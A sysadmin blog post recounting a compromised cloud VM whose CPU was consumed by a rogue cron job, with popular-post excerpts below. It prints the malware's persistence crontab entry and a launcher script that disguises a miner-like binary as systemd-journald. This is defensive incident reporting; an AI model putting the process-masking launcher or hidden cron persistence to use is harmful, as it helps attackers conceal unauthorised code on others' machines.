WHEN A HACKER SLOWED DOWN EM CONSOLE

Our MW applications are hosted in cloud. We received a incident saying development em console is extremely slow and developers are not able to open instances from em console.

As with any performance issue, we ran top command on VMs. We didn’t see any high cpu utilization on node 1 but node 2 utilization is almost 100% as shown below:


ps command showed that this process was running journalctl:



We requested our sysadmin team to investigate further. There were some Linux bugs that cause high cpu utilization. So, initial investigation went in that direction. Later one of colleagues, found that cron job scheduled on this particular node was consuming all the cpu. He disabled the cronjob and cpu utilization came down. The cron job was as below:

[oracle@abc123 ~]$ crontab -l

#* * * * * /home/oracle/.local/cpu/bin/update >/dev/null 2>&1

It looked suspicious to me as I don’t remember of setting up such cron job even though these are the new applications we are managing. So, we thought of investigating further.

We went into directory and checked timestamp of the files:

[oracle@abc123 bin]$ pwd
/home/oracle/.local/cpu/bin
[oracle@abc123 bin]$ ls -lthr
total 3.2M
-rwxr-xr-x. 1 oracle oinstall 14K Nov 28 2017 [ttm_swap]
-rwxr-xr-x. 1 oracle oinstall 26 Dec 14 2019 start
-rwxr-xr-x. 1 oracle oinstall 331 Dec 14 2019 log
-rwxr-xr-x. 1 oracle oinstall 376 Jun 23 18:55 perf
-rwxr-xr-x. 1 oracle oinstall 3.2M Aug 23 02:56 update++
-rw-r–r–. 1 oracle oinstall 1008 Sep 8 20:00 g.js
-rw-r–r–. 1 oracle oinstall 28 Sep 8 20:00 bst
-rw-r–r–. 1 oracle oinstall 61 Sep 8 20:00 syslog
-rwxr-xr-x. 1 oracle oinstall 227 Sep 8 20:00 update
-rw-r–r–. 1 oracle oinstall 6 Sep 10 11:07 lg.pid
-rw-r–r–. 1 oracle oinstall 6 Sep 10 11:07 ?

Timestamp of the new files and the start time of our issue matched. Snippet from one of the scripts is:

[oracle@abc123 bin]$ cat perf
proc=nproc
ARCH=uname -m
HIDE=”/lib/systemd/systemd-journald”
if [ “$ARCH” == “x86_64” ]; then
./[ttm_swap] -s $HIDE ./update++ >>/dev/null &
elif [ “$ARCH” == “i686” ]; then
./[ttm_swap] -s $HIDE ./update++ >>/dev/null &
else
./[ttm_swap] -s $HIDE ./update++ >>/dev/null &
fi
echo $! > lg.pid

I didn’t understand the code completely. I have searched google with snippet of the code and convinced that machine got infected. We ran some security software and it detected that this directory got compromised. We have removed directory. This incident have been reported to security team and they took necessary action to close security holes.


Comments

Post a Comment

Popular posts from this blog

HOW WE REDUCED SOA OSB PROVISIONING FROM 4 DAYS TO 4 HOURS

 In our organization, we’ve undertaken the task of upgrading both SOA and OSB from version 12.2.1.3 to 12.2.1.4. This involves an out-of-place migration approach, wherein we create a new environment and switch traffic during the cutover. As you know, this process typically requires several days we opt for manual provisioing. A very significant amount of automation work was previously accomplished for 12.2.1.3 by our predecessors. Despite these efforts, the process still used to take lot of time due to following factors: Bugs in existing automation. For example, SOA composite deployments is not stable which warrants lot of manual work Import of 10s of TLS Certificates into KSS Manual retiring and shutting down of services Monitoring setup Miscellaneous: Increasing Log file count, enabling GC logging, changing heap parameters, bash profile changes While our current automation initiatives have yielded substantial savings, we aimed to capitalize on this upgrade activity to enable end-t...
Read more

NOT ABLE TO START RABBITMQ CLUSTER: CANNOT DECLARE A QUEUE ‘~S’ ON NODE ‘~S’: ~255P

We have 7 node rabbitmq cluster and we are using sharding queues. We have shutdown all non prod rabbitmq nodes as part of VM patching. As it was non prod, we thought of shutting down all together instead of rolling patching. We couldn’t start the any of the rabbitmq post patching. All of nodes were failing to start with the below error: 2022-06-23 05:13:10.104845-07:00 [error] <0.647.0> “Cannot declare a queue ‘~s’ on node ‘~s’: ~255p”, 2022-06-23 05:13:10.104845-07:00 [error] <0.647.0> [“queue ‘sharding: shard.my.queue – rabbit@rabbit1’ in vhost ‘my_vhost'” This is a known issue in some old versions of rabbitmq. rabbitmq node fails to come up with above error. Work around for this is to disable sharding policy for the problematic sharding queue. It can be done either from command line or from rabbitmq admin page. It requires to connect a running node. But as all the nodes were down, we could not disable sharding policy. Luckily, rabbitmq allows disabling sharding pulgi...
Read more

SOA SUITE 12.2.1.4 INSTALLATION: GOT EXCEPTION WHEN AUTO CONFIGURING THE SCHEMA COMPONENT(S) WITH DATA OBTAINED FROM SHADOW TABLE

  We planned to do out of place upgrade from soa suite 12.2.1.3 to 12.2.1.4. As part of this, we planned to automate end to end provisioning. While executing domain configuration using ansible and python scripts, we got following error in domain creation step. Got exception when auto configuring the schema component(s) with data obtained from shadow table. Failed to build JDBC Connection object: com.oracle.cie.domain.script.jython.CommandExceptionHandler. exception. Quick internet search gave few solutions like deleting domain-registry.xml file, verifying dehydration store password supplied to script etc. But none of them helped. After trying several options, I thought I might have done some stupid error prior to domain creation step. To track down the issue, though of checking what getDatabaseDefaults actually doing. I tried to grep for the getDatabaseDefaults function call inside oracle home. But couldn’t find the source code for the python function. As a final resort, thought of...
Read more